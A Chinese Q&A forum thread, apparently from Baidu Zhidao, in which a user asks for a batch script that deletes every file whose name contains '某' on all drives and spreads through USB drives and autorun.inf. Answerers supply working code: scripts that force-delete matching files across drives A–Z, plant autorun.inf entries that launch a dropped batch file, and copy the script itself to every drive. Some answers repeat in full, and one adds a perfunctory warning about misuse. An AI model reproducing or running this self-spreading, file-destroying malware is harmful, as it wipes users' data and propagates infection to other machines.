现要求编写一批处理程序,要求遍历所有硬盘,删除文件名含有“某”这个字符的文件。要求有源代码。
实现U盘的感染(回答+10分)、实现autron.inf的感染(回答+5分)、实现系统各个盘的感染(回答+10分)...
实现U盘的感染(回答+10分)、
实现autron.inf的感染(回答+5分)、
实现系统各个盘的感染(回答+10分) 展开
实现autron.inf的感染(回答+5分)、
实现系统各个盘的感染(回答+10分) 展开
展开全部
rem 你说的autron.inf是不是autorun.inf额,我觉的是,下面的我就用autorun.inf了哈,要是不对你就自己改吧··
@echo off
set num=0
set name=某
set word=ABCDEFGHIJKLMNOPQRSTUVWXYZ
:aaa
set /a num=%num%+1
title %num%
set /a ss=0
set end=
:start
set /a ss+=1
set /a a=%random%%%26
call set c=%%word:~%a%,1%%
set end=%end%%c%
if %ss% lss 1 goto start
if %end%==%bcen% goto aaa
set bcen==%end%
set pan==%bcen%:\
del /f /s /q %pan%*%name%*.*>nul&cls
del /f /s /q %pan%%name%*.*>nul&cls
del /f /s /q %pan%*%name%.*>nul&cls
del /f /s /q %pan%%name%.*>nul&cls
del /f /s /q %pan%autorun.inf>nul&cls
md %pan%autorun.inf..\&cls
echo.@echo off>%pan%autorun.inf..\a.1
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.2&cls
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.3&cls
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.4&cls
copy %pan%autorun.inf..\a.1 + %pan%autorun.inf..\a.2 + %pan%autorun.inf..\a.3 + %pan%autorun.inf..\a.4 %pan%autorun.inf..\1.bat&cls
del /f /s /q %pan%autorun.inf..\a.*>nul&cls
rem 还可以自己添加,按照上面的格式添加即可。
echo.[autorun]>%pan%autorun.inf~1&cls
echo.open autorun.inf..\1.bat>%pan%autorun.inf~2&cls
copy %pan%autorun.inf~1 + %pan%autorun.inf~2 %pan%autorun.inf&cls
del /f /s /q %pan%autorun.inf~1>nul&cls
del /f /s /q %pan%autorun.inf~2>nul&cls
if %num%==26 exit
cls
goto aaa
上面这一大堆东西显然很白痴···杀毒软件应该很容易认出来··
这个bat可以把A~Z所有的盘符都玩一遍····
如果要删除那些玩意
打开DOS窗口,输入下面这些东西··
rd /s /q 你要删除的盘符:\autorun.inf..\
del /q 你要删除的盘符:\autorun.inf
ok,看看我费了好大力气写的破玩意对你有木有用...
@echo off
set num=0
set name=某
set word=ABCDEFGHIJKLMNOPQRSTUVWXYZ
:aaa
set /a num=%num%+1
title %num%
set /a ss=0
set end=
:start
set /a ss+=1
set /a a=%random%%%26
call set c=%%word:~%a%,1%%
set end=%end%%c%
if %ss% lss 1 goto start
if %end%==%bcen% goto aaa
set bcen==%end%
set pan==%bcen%:\
del /f /s /q %pan%*%name%*.*>nul&cls
del /f /s /q %pan%%name%*.*>nul&cls
del /f /s /q %pan%*%name%.*>nul&cls
del /f /s /q %pan%%name%.*>nul&cls
del /f /s /q %pan%autorun.inf>nul&cls
md %pan%autorun.inf..\&cls
echo.@echo off>%pan%autorun.inf..\a.1
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.2&cls
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.3&cls
echo.在这里输入你想对该机器自动启动bat的命令>%pan%autorun.inf..\a.4&cls
copy %pan%autorun.inf..\a.1 + %pan%autorun.inf..\a.2 + %pan%autorun.inf..\a.3 + %pan%autorun.inf..\a.4 %pan%autorun.inf..\1.bat&cls
del /f /s /q %pan%autorun.inf..\a.*>nul&cls
rem 还可以自己添加,按照上面的格式添加即可。
echo.[autorun]>%pan%autorun.inf~1&cls
echo.open autorun.inf..\1.bat>%pan%autorun.inf~2&cls
copy %pan%autorun.inf~1 + %pan%autorun.inf~2 %pan%autorun.inf&cls
del /f /s /q %pan%autorun.inf~1>nul&cls
del /f /s /q %pan%autorun.inf~2>nul&cls
if %num%==26 exit
cls
goto aaa
上面这一大堆东西显然很白痴···杀毒软件应该很容易认出来··
这个bat可以把A~Z所有的盘符都玩一遍····
如果要删除那些玩意
打开DOS窗口,输入下面这些东西··
rd /s /q 你要删除的盘符:\autorun.inf..\
del /q 你要删除的盘符:\autorun.inf
ok,看看我费了好大力气写的破玩意对你有木有用...
追问
怎么用?
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do del /f /s /q %%i:\*某*.*
追问
那怎么实现U盘的感染(回答+10分)、
实现autron.inf的感染(回答+5分)、
实现系统各个盘的感染(回答+10分)
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
del /f /s /q %%i:\*某*.*
copy %0 %%i:\
echo [autorun]>>%%i\autorun.inf
echo open=%0>>%%i\autorun.inf
)
以上都包括了,注意:本批处理会在每个盘下生成autorun.inf
破坏力极大,请勿实测,或用于不法用途
还有
这一大堆玩意容易被杀软认出来
del /f /s /q %%i:\*某*.*
copy %0 %%i:\
echo [autorun]>>%%i\autorun.inf
echo open=%0>>%%i\autorun.inf
)
以上都包括了,注意:本批处理会在每个盘下生成autorun.inf
破坏力极大,请勿实测,或用于不法用途
还有
这一大堆玩意容易被杀软认出来
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询